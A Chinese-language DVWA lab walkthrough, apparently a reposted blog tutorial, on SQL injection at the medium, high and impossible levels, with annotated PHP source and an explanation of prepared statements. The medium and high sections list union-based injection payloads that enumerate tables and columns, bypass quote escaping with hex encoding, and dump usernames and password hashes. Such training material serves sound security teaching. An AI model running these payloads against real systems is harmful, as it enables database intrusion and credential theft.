当前位置: 首页 > news >正文

DVWA靶场保姆级通关教程--07SQL注入下

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 目录

    文章目录

    前言

    一、medium级源码分析

    具体来说,这里的mysqli_real_escape_string()函数 会对以下字符加上反斜杠:

    1.判断注入点:修改字段为1',请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:

    2.判断字段数

    ​编辑3.判断具体哪些字段有回显

    3.获取表名:

    ​编辑 4.获取表中字段名:

    5.获取表中数据:

    二、high级别源码分析

    三、impossible级别源码分析 

    主要安全防护措施:

    什么是预处理?

    1. 准备阶段(Prepare):

    2. 绑定参数(Bind):

    3. 执行阶段(Execute):

    预处理语句的好处:

    总结:


前言

书接上回、这里直接从源码分析开始,直接演示SQL注入


一、medium级源码分析

<?php// 判断是否点击了提交按钮(即是否发送了POST请求)  
if( isset( $_POST[ 'Submit' ] ) ) {// 获取输入的id参数  $id = $_POST[ 'id' ];// 使用 mysqli_real_escape_string 对输入的id进行转义,防止SQL注入(但未加引号,仍有注入风险)  $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);// 构造SQL查询语句,注意此处未对 $id 加引号,会导致数值型注入漏洞  $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";// 执行SQL语句,若失败则输出错误  $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// 遍历查询结果  while( $row = mysqli_fetch_assoc( $result ) ) {// 提取每一行中的 first_name 和 last_name 字段  $first = $row["first_name"];$last  = $row["last_name"];// 将结果输出给用户  echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
}// 以下部分用于 index.php 页面统计用户数量  
// 在这里也设置是为了保持所有 source 脚本格式一致,统一在此关闭数据库连接  // 构造查询语句,统计用户表中的总记录数  
$query  = "SELECT COUNT(*) FROM users;";// 执行统计查询  
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 获取查询结果中的记录数  
$number_of_rows = mysqli_fetch_row( $result )[0];// 关闭数据库连接  
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

具体来说,这里的mysqli_real_escape_string()函数 会对以下字符加上反斜杠:

  • 单引号(')变成 \'

  • 双引号(")变成 \"

  • 反斜杠(\)变成 \\

  • NULL 字符变成 \\0

  • 换行符(\n)变成 \\n

  • 回车符(\r)变成 \\r

  • 等等

 

1.判断注入点:修改字段为1',请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:

2.判断字段数

输入id=1 order by 2#,查看返回数据,同样的当报错时,说明正确的字段数为n-1

这里正确的字段数为2

3.判断具体哪些字段有回显

联合查询union select:

输入-1 union select database(),user()# 查询数据库和用户名,查看返回数据:

输入-1 union select version(),@@version_compile_os# 查询数据库版本和操作系统,查看返回数据:

3.获取表名:


输入-1 union select table_name,table_schema from information_schema.tables where table_schema= database()#查询表名: 

这里只有两个字段会回显所以只显示了两个表名,如果要获取所有的表名可以像下面这样:

-1 union select hex(group_concat(table_name)),table_schema from information_schema.tables where table_schema= database()#

所有的表名显示为一个字段的16进制数,解析这个16进制数可以看到所有的表名

 4.获取表中字段名:

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273


输入-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# users十六进制数为0x7573657273 ,查看返回数据:

-1 union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#

5.获取表中数据:

输入-1 union select user,password from users#,查看数据:

也可以用low级别的让所有的用户名和密码显示到一起

二、high级别源码分析

<?php// 检查是否存在有效的会话id(即用户已登录并具有有效会话)  
if( isset( $_SESSION [ 'id' ] ) ) {// 获取用户id(假设它是从会话中传来的)  $id = $_SESSION[ 'id' ];// **存在SQL注入漏洞**:直接将未处理的用户输入($id)插入到查询中  // 如果 $id 中包含恶意的 SQL 代码,攻击者可以通过此漏洞进行SQL注入攻击$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";// 执行SQL查询,如果执行失败则输出错误信息  // 如果查询失败,提示 "Something went wrong."  $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// 处理查询结果  while( $row = mysqli_fetch_assoc( $result ) ) {// 提取查询结果中的 first_name 和 last_name 字段  $first = $row["first_name"];$last  = $row["last_name"];// 向用户输出结果  // 显示用户的 ID、名字和姓氏  echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}// 关闭数据库连接,确保每次查询后都进行关闭  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}?>

    • 可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1;
    • 其他步骤跟low和medium是一样,然后爆账号密码,输入-1' union select user,password from users#,查询返回数据:

    三、impossible级别源码分析 

    <?php// 检查是否通过 GET 请求提交了 'Submit' 参数  
    if( isset( $_GET[ 'Submit' ] ) ) {// 检查 Anti-CSRF(跨站请求伪造)令牌,确保请求是合法的,避免 CSRF 攻击  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 获取用户输入的 'id' 参数(来自 URL 查询字符串)  $id = $_GET[ 'id' ];// 判断输入的 id 是否为数字,如果是,则继续后续操作  if(is_numeric( $id )) {// 使用 PDO 预处理语句来防止 SQL 注入// 通过 prepare() 方法预先准备 SQL 查询,使用占位符 :id 替代直接插入 $id$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );// 绑定参数,将 $id 绑定到 :id 参数,并指定其类型为整数 (PDO::PARAM_INT)  $data->bindParam( ':id', $id, PDO::PARAM_INT );// 执行查询,获取用户数据  $data->execute();// 获取查询结果$row = $data->fetch();// 确保查询结果只有 1 条记录  if( $data->rowCount() == 1 ) {// 提取查询结果中的 first_name 和 last_name 字段  $first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// 向用户显示查询结果  echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
    }// 生成 Anti-CSRF token,确保后续请求的合法性  
    generateSessionToken();?>
    

    主要安全防护措施:

    1. Anti-CSRF Token

      • 在操作之前,代码首先检查了 Anti-CSRF token 来防止跨站请求伪造(CSRF)攻击,确保请求来源是合法的。这是提高安全性的一个重要步骤,确保用户提交的表单请求是由合法用户发起的。

    2. 用户输入验证

      • 代码首先检查用户输入的 id 是否是数字(通过 is_numeric())。这样可以避免恶意用户提交非数字字符进入 SQL 查询中,减少了 SQL 注入的风险。然而,这仅仅是一个初步的防护措施,因为即使输入是数字,也可能存在其他安全问题(比如通过更复杂的输入绕过此检查)。

    3. PDO 预处理语句

      • 使用了 PDO(PHP 数据对象) 和预处理语句(prepared statements)。这是一种防止 SQL 注入的最佳实践。通过预处理语句,查询和数据被分开处理,输入的参数(例如 $id)通过占位符 :id 传递给数据库,而不是直接将其嵌入 SQL 查询中。这有效避免了 SQL 注入的可能性。

    4. 参数绑定

      • 使用 bindParam() 方法将用户输入的 $id 与 SQL 查询中的 :id 参数绑定,并指定其为整数(PDO::PARAM_INT)。这种方法确保了数据类型的安全性,避免了数据类型不一致可能带来的问题。

    5. 查询结果数量检查

      • 使用 rowCount() 方法确保查询结果只有一条记录,这样可以避免从数据库中获取到多个或没有匹配的用户记录,确保数据的准确性和安全性。

    6. 什么是预处理?

    “通过预处理语句,查询和数据被分开处理”是指在使用 预处理语句(prepared statements)时,SQL 查询和用户提供的数据被分开处理,从而避免了将用户输入直接插入到 SQL 查询中,避免了 SQL 注入的风险。

    具体来说,预处理语句的工作方式如下:

    1. 准备阶段(Prepare)

    在这个阶段,SQL 查询被发送到数据库服务器,但是查询中的参数部分(比如 WHERE user_id = :id)并没有直接使用用户输入的数据,而是使用占位符(如 :id)来代替数据。这个查询就像一个“模板”,它告诉数据库如何执行查询,但并没有指定具体的数据。

    例如:

    SELECT first_name, last_name FROM users WHERE user_id = :id;
    

    在这个例子中,:id 是一个占位符,它代表一个变量,但它的值暂时是未知的。数据库首先解析并准备这个查询,但并不会执行实际的数据库操作。

    2. 绑定参数(Bind)

    在准备好查询后,程序通过绑定操作将实际的数据(即用户输入的 $id)与占位符(:id)关联起来。这里的关键是,数据库并不知道参数的具体值,它只知道这些占位符代表某些数据。

    $data->bindParam(':id', $id, PDO::PARAM_INT);
    

    这里的 $id 是用户输入的实际数据,bindParam() 方法会将这个值绑定到查询中的 :id 占位符上,并指定它的类型(例如:整数 PDO::PARAM_INT)。

    3. 执行阶段(Execute)

    在执行阶段,数据库会用绑定的值替换占位符(:id),然后执行查询。由于查询和数据在两个不同的步骤中被处理,数据库引擎能够确保查询结构不会被篡改,也能安全地插入用户数据。

    执行时,数据库会将 $id 替换占位符,并执行查询:

    SELECT first_name, last_name FROM users WHERE user_id = 123;
    

    这时,数据库会查询 user_id = 123 的记录。

    预处理语句的好处:

    • 防止 SQL 注入:因为 SQL 查询结构(如 SELECT ... FROM ... WHERE ...)在发送到数据库时是固定的,用户数据仅仅作为参数绑定给占位符,所以即使用户输入恶意的 SQL 语句(例如 ' OR 1=1; --),也不会改变查询的结构。

    • 性能优化:预处理语句在第一次执行时会被编译和缓存,后续相同的查询可以直接使用缓存的执行计划,提高性能。

    • 可读性和安全性:使用占位符和绑定参数,使得代码更清晰和易于维护,同时增强了安全性。

    总结:

    通过预处理语句,查询和数据被分开处理,意味着 SQL 查询的结构与实际的数据(例如用户输入)是分开的。数据库首先接收的是一个结构化的查询模板,数据仅在执行时被绑定进去,这样可以有效防止 SQL 注入攻击。

    相关文章:

  • Open CASCADE学习|由大量Edge构建闭合Wire:有序与无序处理的完整解析
  • Java SE所需工具与常见类型和运算符介绍
  • SWMM在城市排水防涝规划中的实战应用:模型校准、情景模拟与工程决策
  • TCPIP详解 卷1协议 七 防火墙和网络地址转换
  • vue3+three 搭建平面上滚动旋转的几何体
  • 第一章 应急响应-webshell查杀
  • 无线定位之 二 SX1302 网关源码 thread_down 线程详解
  • RAGFlow 初步尝试 (01)
  • Leetcode (力扣)做题记录 hot100(34,215,912,121)
  • MongoDB 操作可能抛出哪些异常? 如何优雅的处理?
  • 全球变暖-bfs
  • matlab计算天线的近场和远场
  • MongoDB使用x.509证书认证
  • Matlab基于PSO-MVMD粒子群算法优化多元变分模态分解
  • 逆向破解:x64dbg
  • Python 处理图像并生成 JSONL 元数据文件 - 灵活text版本
  • 机器学习——集成学习基础
  • AI边缘网关_5G/4G边缘计算网关厂家_计讯物联
  • Clion远程开发git触发“No such device or address”的解决方案
  • 数据库笔记(1)
  • 北洋“修约外交”的台前幕后——民国条约研究会档案探研
  • 甘肃:今年6月前,由县级党委、政府制定农村彩礼倡导性标准
  • 我国7名优秀护理工作者荣获第50届南丁格尔奖
  • 重庆大学通报本科生发14篇SCI论文:涉事学生及其父亲被处理
  • 优秀“博主”在上海杨浦购房最高补贴200万元,有何条件?
  • 一周文化讲座|城市移民与数字时代的新工作